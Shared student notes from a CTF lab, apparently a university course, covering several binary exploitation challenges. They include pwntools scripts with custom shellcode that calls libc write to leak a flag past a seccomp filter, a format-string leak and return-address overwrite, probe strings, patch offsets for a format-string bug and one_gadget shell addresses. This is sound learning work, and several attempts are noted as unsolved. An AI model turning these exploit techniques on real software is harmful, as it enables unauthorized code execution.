---
# System prepended metadata

title: Untitled

---

#CTF Lab 10

*if you are working on a seciton put your name there so we dont have any overlap on challenges*

## Hidden
degree and force(N)

It want's you to guess the degrees and the force required based on the information in the book (coefficients of static and sliding friction).  There are 4 entries. I've gotten through it.  If your numbers are good it moves you on if not, it says your off the map. Based on the right numbers it will provide an output, like Gold 9.35475893 m.  I'm trying to find the right combination.


## Patch
@Michael Notes:
+ Fixing a broken compressed archive
+ Fixed it:
    #!/usr/bin/python3

    import zlib
    from binascii import unhexlify
    import sys

    #./data comes from 'nc rodimus.gtisc.gatech.edu 1020', just copy into a file
    with open("./data", 'r') as f:
        data = f.read()[:-2]
        bdata = unhexlify(data)
        zobj = zlib.decompressobj()
        zdata = zobj.decompress(bdata)
        sys.stdout.buffer.write(zdata) #save this into a file, it'll be the binary
        
+ I patched all the letters in delicious... but apparently that's not the challenge... RIP lmao
        + 2658, 101; 2671, 105; 2683, 99; 2692, 108; 2705, 99
+ Guess we've gotta patch it to be vulnerable...?
+ {2637, 50-59; 2638, 120} will give a fmtstr vuln, but it's pretty weak.
+ Or maybe the goal is to patch it some other way?  I have no idea.

## easy_chal
@dylan took a break 

this challege directly calls shellcode that we give it but it calls seccomp which filters allowed syscalls but there are no calls added to the filter so i dont actually think the shellcode is how we get the flag from this. 

@M: This is one two remaining unsolved challenges...
+ SCMP_ACT_KILL
    + The thread will be terminated by the kernel with SIGSYS when it calls a syscall that does not match any of the configured seccomp filter rules. The thread will not be able to catch the signal.
+ I believe this means there's an empty whitelist, e.g., NO SYSCALLS allowed.
+ I guess that means we have to grab it from memory somehow?

```
#!/usr/bin/env python3

from pwn import *

#p = remote("rodimus.gtisc.gatech.edu", 9998) 

p = process("./easy-chal")

context.arch = 'amd64'

# move base pointer to new register
# incriment up one address 
# offset to libc write

#0x00007ffff77e3c87  →  <__libc_start_main+231> mov edi, eax

#0x00007ffff77e3c87 0x00007ffff7baf000
print(0x00007ffff7baf000 - 0x00007ffff77e3c87)
write_offset = 0x1100f0

libc_base_offset = 0x3CB379

flag_buffer_rsi_offset = 0xB6BFD0

write_offset_from_libc_start_main = 0x2BB289
#0x2DCF10

#rdi arg 1
#rsi arg 2
#rdx arg 3
shellcode = """
    mov rdi, rbp
    add rdi, 0x8
    mov rdx, [rdi]
    add rdx, 0x3CB379
    sub rdx, 0x2DCF10
    add r12, 0x2F20
    
    mov r10, rdx
    mov rdi, 0x1
    mov rsi, r12
    mov rdx, 0x64
    call r10
"""

shellcode_str = asm(shellcode, arch = 'amd64')

pause()

p.sendline(shellcode_str)

p.interactive()
```

## backdoor
@dylan away you can try if you want 

options 1-6

if you try to interact before calling create it fails
option 5 is overwite not sure what it does yet
option 6 is an echo 
if you double delete tcache catches the double free and ends the program

@Michael notes
+ There's a fmtstr vuln w/ option 6
+ Override (5) will accept 30 char exactly
+ Printer (6) will accept 7 char


## fmtstrROP
@Steve working

HINT: Have you created the passwords for the flag
(@M: I'm guessing this means running "write_flag_code1", "write_flag_code2", and then "read_flag" in the ROP chain)

@Michael Notes:
+ Arbitrary write:
+    AAAAAAAA%10$p
+    hmmm, AAAAAAAA0x4141414141414141 isn't valid input

+ Control hijack:
+    %6$p + 0x3b8 - on my local machine - is EIP after you quit w/ q

+ Ultimately, even though I could gain control of the EIP, my program would always crash.  I failed.


``` 
#!/usr/bin/python2

from pwn import *
import re

context.arch = 'x86_64'

p = process("./lab10_fmtstrROP")
#p = remote("rodimus.gtisc.gatech.edu", 9012)

p.recvuntil("do?")
p.sendline("|%1$p|%6$p|%41$p|")
#p.sendline("|%1$p|%5$p|") # 5 worked on server - 6 worked for me locally

p.recvuntil("\n")
leak = p.recvuntil("\n").split("|")
print(leak)
base_addr = int(re.findall("0x[a-fA-F0-9]{9}", leak[1])[0] + "000", 16) - 0x2000
WRITE_FLAG_1 = 0x1428 + base_addr
WRITE_FLAG_2 = 0x1548 + base_addr
READ_FLAG = 0x1679 + base_addr
MAIN = 0x19e6 + base_addr
PLAY_GAME = 0x10173a + base_addr
POP_RBP = 0x0000000000001353 + base_addr

stack_addr = int(re.findall("0x[a-fA-F0-9]*", leak[2])[0], 16)
ret_addr = stack_addr + 0x3b8

#libc_addr = int(re.findall("0x[a-fA-F0-9]*", leak[3])[0], 16)
#libc_base_addr = libc_addr - 0x217799

print("Base addr: " + hex(base_addr))
print("Ret addr: " + hex(ret_addr))
#print("Libc base addr: " + hex(libc_base_addr))


p.interactive()

payload = fmtstr_payload(10, {int(ret_addr) : int(WRITE_FLAG_1 + 20)}, 6)
p.sendline(payload)

#p.sendline("d")

#payload = fmtstr_payload(10, {int(ret_addr) + 40 : int(POP_RBP)}, 6)
#p.sendline(payload)
#payload = fmtstr_payload(10, {int(ret_addr) + 48 : int(ret_addr) + 40}, 6)
#p.sendline(payload)

#payload = fmtstr_payload(10, {int(ret_addr) + 64 : int(WRITE_FLAG_2) + 0x8}, 6)
#p.sendline(payload)

#payload = fmtstr_payload(10, {int(ret_addr) + 64 : int(READ_FLAG)}, 6)
#p.sendline(payload)

```
    



@End Michael Notes

%p|%p|%p|%p|%p|%p|%p|%p|%p|%p|%p|%p|%p|%p|%p|%p|%p|%p|%p|%p|
hmmm, 0x562981c902cf|(nil)|(nil)|0x7c70257c70257c70|0x7ff7fc64d9c0|(nil)|0x8a00000000|0x20700000047|0x562982bb1260|0x70257c70257c7025|0x257c70257c70257c|0x7c70257c70257c70|0x70257c70257c7025|0x257c70257c70257c|0x7c70257c70257c70|0x70257c70257c7025|0x7f007c70257c|0x7ff7fcafb4c8|(nil)|0x7ffc84ff4340| isn't valid input

This is one_gadget (execve(/bin/sh)) via libc.so.6:
$ one_gadget libc.so.6 
0x4f2a5 execve("/bin/sh", rsp+0x40, environ)
constraints:
  rsp & 0xf == 0
  rcx == NULL


0x4f302 execve("/bin/sh", rsp+0x40, environ)
constraints:
  [rsp+0x40] == NULL


0x10a2fc execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL




## HackMapExec

## wonderland
